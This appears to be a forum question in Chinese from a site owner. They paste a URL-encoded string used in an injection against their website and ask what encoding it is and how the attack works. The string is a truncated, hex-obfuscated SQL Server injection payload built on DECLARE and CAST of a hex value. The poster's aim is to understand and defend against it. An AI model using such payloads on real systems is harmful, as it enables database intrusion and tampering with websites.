这种编码是别人注入我们的网站的时候用到的,请问这是一种什么编码?怎么实现的攻击的。
%3b%44%65%43%4c%61%52%45%20%40%53%20%4e%76%41%72%43%48%61%52%28%34%30%30%30%29%3b%53%65%54%20%40%53%3d%43%61%53%74%28%30%78%34%34%30%30%36%35%30%30%36%33%30%30%36%43%30%30%36%31%30%30%37%32%30%30%36%35%30%30%32%30%30%30%34%30%30%30%35%34%30%30%32%30%30%30%35%36%30%30%36%31%30%30%37%32%30%30%36%33%30%30%36%38%30%30%36%31%30%30%37%32%30%30%32%38%30%30%33%32%30%30%33%35%30%30%33%35%30%30%32%39%30%30%32%43%30%30%